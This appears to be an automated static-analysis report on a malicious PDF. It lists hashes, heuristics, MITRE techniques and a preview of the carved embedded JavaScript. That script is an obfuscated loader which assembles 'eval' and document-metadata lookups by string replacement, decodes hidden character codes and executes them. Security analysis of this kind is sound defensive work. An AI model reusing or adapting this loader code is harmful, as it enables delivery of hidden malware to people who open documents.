Malicious PDF — malware analysis report

Static analysis result for SHA-256 d1b61eaa272e4f17…

MALICIOUS

PDF

1.2 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 3970f395e6c6fc366c63bd1c1c46525c SHA-1: 999c2d22d8553478209293f636061521b8cc6164 SHA-256: d1b61eaa272e4f17677961576b5e8a7c2b8cd6a916d37ef968331f0f9a08b20d
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1204.002 Malicious File: User Execution: Malicious File

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript, named javascript_obj0001_000.js, is likely responsible for executing malicious code, potentially downloading a second-stage payload. The use of String.fromCharCode in the document body further suggests obfuscation techniques common in malicious PDFs.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 638 bytes
SHA-256: 49514abf7a4b1a11e5c6fdc1a1d329cf92010b51253c185874e52f48c5df8ad3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
trhp='';
var q2 = date.getFullYear()-2007;
niqz='2011s'.replace(date.getFullYear(),'hi');
gzkk=('.tit2011').replace(date.getFullYear(),'le');
Function('','bld=t'+niqz+gzkk)();
pipcr=('sub2011').replace(date.getFullYear(),'ject');
Function('','otqve=t'+niqz+'.'+pipcr)();
var otqve=otqve.replace(date.getFullYear(),'al');
Function('','qidd=t'+niqz+'.'+otqve)();
dznu='.pro2011cer';
dznu=qidd('dznu.replace(date.getFullYear(),"du")');
Function('','gwgub=t'+niqz+dznu)();
qdjaz=qidd(gwgub);
inwj = qidd(bld);
for (i = 0; i < inwj.length; i++) {
	wgi = inwj[i];
	trhp += qdjaz(wgi);
}
qidd(trhp);

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